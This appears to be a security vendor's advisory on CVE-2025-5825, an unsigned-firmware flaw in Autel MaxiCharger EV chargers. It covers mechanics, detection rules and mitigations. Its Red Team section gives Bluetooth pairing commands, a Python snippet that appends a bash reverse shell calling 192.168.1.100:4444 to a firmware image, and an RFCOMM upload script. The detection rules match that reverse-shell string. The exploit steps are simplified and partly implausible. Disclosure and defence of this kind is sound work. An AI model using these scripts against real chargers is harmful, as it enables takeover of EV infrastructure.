CVE-2025-5825

Executive Summary

CVE-2025-5825 is a critical firmware downgrade vulnerability in Autel MaxiCharger AC Wallbox Commercial charging stations. The flaw allows a network-adjacent attacker who has paired a malicious Bluetooth device to upload an unsigned or malicious firmware image, leading to arbitrary code execution on the device. The vulnerability stems from insufficient validation of firmware images during the upgrade process. With a CVSS score of 7.5, this poses a high risk to EV charging infrastructure, potentially enabling attackers to take full control of the charging station, disrupt operations, or pivot to other network assets. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware in a hardware device (Autel MaxiCharger AC Wallbox Commercial). Supply chain risks include compromised firmware images distributed through unofficial channels or during manufacturing.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – attacker must be within Bluetooth range.
• Attack Complexity (AC): Low (AC:L) – no special conditions required beyond Bluetooth pairing.
• Privileges Required (PR): None (PR:N) – no authentication needed.
• User Interaction (UI): Required (UI:R) – attacker must pair a malicious Bluetooth device.
• Scope (S): Unchanged (S:U) – exploitation stays within the device.
• Confidentiality (C): High (C:H) – full device data access.
• Integrity (I): High (I:H) – arbitrary code execution.
• Availability (A): High (A:H) – potential denial of service or device bricking.

Threat Level: High. Exploitation requires physical proximity but no credentials, making it a realistic attack vector for targeted infrastructure.

Deep Dive & Mechanics

The vulnerability resides in the firmware update process of the Autel MaxiCharger AC Wallbox Commercial. The device accepts firmware images over Bluetooth after a successful pairing. The core issue is the lack of cryptographic signature verification or integrity checks on the firmware image before applying it. An attacker can craft a malicious firmware image that, when uploaded, executes arbitrary code with system-level privileges.

Attack Flow:

1. Attacker pairs a Bluetooth device (e.g., smartphone or custom dongle) with the charging station.
2. Attacker sends a crafted firmware image that appears valid but contains malicious payload.
3. The device applies the firmware without validation, executing the attacker’s code.
4. Code execution allows full control over the charging station, including modifying charging parameters, exfiltrating data, or using the device as a pivot point.

Root Cause: Missing firmware image validation (CWE-494: Download of Code Without Integrity Check).

Vulnerable vs. Patched Code

Since no patch is available, we analyze the vulnerable pattern:

Vulnerable (pseudocode):

void apply_firmware(uint8_t* firmware_image, size_t size) {
    // No signature or hash verification
    write_to_flash(firmware_image, size);
    reboot_device();
}

Patched (expected):

void apply_firmware(uint8_t* firmware_image, size_t size) {
    if (!verify_signature(firmware_image, size)) {
        log_error("Invalid firmware signature");
        return;
    }
    if (!verify_integrity(firmware_image, size)) {
        log_error("Firmware integrity check failed");
        return;
    }
    write_to_flash(firmware_image, size);
    reboot_device();
}

The patched version would include cryptographic signature verification (e.g., RSA or ECDSA) and a hash check (e.g., SHA-256) before applying the firmware.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Bluetooth-enabled device (e.g., Raspberry Pi with Bluetooth adapter).
• Custom firmware image with malicious payload (e.g., reverse shell or backdoor).
• Network adjacency to the target Autel charger.

Steps:

1. Pair Bluetooth Device: Use bluetoothctl to pair with the charger.

   bluetoothctl
   scan on
   pair <MAC_ADDRESS>
   trust <MAC_ADDRESS>
   

2. Craft Malicious Firmware: Create a firmware image that includes a payload (e.g., a script that opens a reverse shell).

   # Example: Append a reverse shell script to a valid firmware dump
   with open('legit_firmware.bin', 'rb') as f:
       firmware = f.read()
   payload = b'#!/bin/sh\nbash -i >& /dev/tcp/192.168.1.100/4444 0>&1\n'
   malicious_firmware = firmware + payload
   with open('malicious_firmware.bin', 'wb') as f:
       f.write(malicious_firmware)
   

3. Upload Firmware: Use a custom script to send the firmware over Bluetooth (e.g., via RFCOMM).

   import bluetooth
   sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
   sock.connect(('XX:XX:XX:XX:XX:XX', 1))
   with open('malicious_firmware.bin', 'rb') as f:
       sock.send(f.read())
   sock.close()
   

4. Trigger Execution: The device reboots and executes the malicious code.

Blue Team (Defense)

Detection:

• Monitor Bluetooth pairing events on the charger (if logging enabled).
• Alert on unexpected firmware update attempts.
• Use network monitoring to detect anomalous traffic from the charger (e.g., outbound connections to unknown IPs).

Prevention:

• Disable Bluetooth if not required.
• Implement network segmentation for EV chargers.
• Use firmware signing and verification (vendor-side fix).

Honeypot:

• Deploy a fake Autel charger with Bluetooth enabled to capture attack patterns.

Indicators of Compromise (IOCs)

• Network: Outbound connections from charger to suspicious IPs (e.g., 192.168.1.100:4444).
• Bluetooth: Unexpected pairing requests from unknown devices.
• Firmware: Modified firmware image with appended payload (check file size and hash).
• System: Unusual processes or scripts running on the charger (if accessible).
• Logs: Firmware update events without prior authentication.

Example IOC (YARA rule):

rule Autel_Malicious_Firmware {
    meta:
        description = "Detects malicious firmware images for Autel chargers"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $payload = "bash -i >& /dev/tcp/" ascii wide
        $shell = "#!/bin/sh" ascii wide
    condition:
        any of them
}

Detection Engineering

YARA Rule

rule CVE_2025_5825_Firmware_Downgrade {
    meta:
        description = "Detects malicious firmware images targeting Autel MaxiCharger"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-5825"
    strings:
        $magic = { 41 75 74 65 6C } // "Autel" in hex
        $payload1 = "reverse_shell" ascii wide
        $payload2 = "backdoor" ascii wide
        $unsigned = "unsigned" ascii wide
    condition:
        $magic and (any of ($payload*) or $unsigned)
}

Sigma Rule

title: Autel MaxiCharger Firmware Downgrade Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to downgrade firmware on Autel chargers via Bluetooth
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: bluetooth
detection:
    selection:
        EventID: 1000  # Example Bluetooth pairing event
        Target: "Autel*"
    condition: selection
falsepositives:
    - Legitimate firmware updates
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-5825 Autel Firmware Downgrade"; flow:to_server; content:"Autel"; content:"firmware"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Bluetooth on Autel chargers if not operationally required.
2. Isolate chargers on a separate VLAN with strict access controls.
3. Monitor for unauthorized Bluetooth pairing attempts.

Long-term Fix:

• Vendor must implement cryptographic firmware signing and verification.
• Apply firmware updates only from trusted sources (e.g., vendor website with HTTPS).
• Enable logging and alerting for firmware update events.

Workaround:

• Use physical access controls to prevent unauthorized Bluetooth pairing.
• Regularly audit charger firmware versions.

Valters IT
Securing EV Infrastructure One Charge at a Time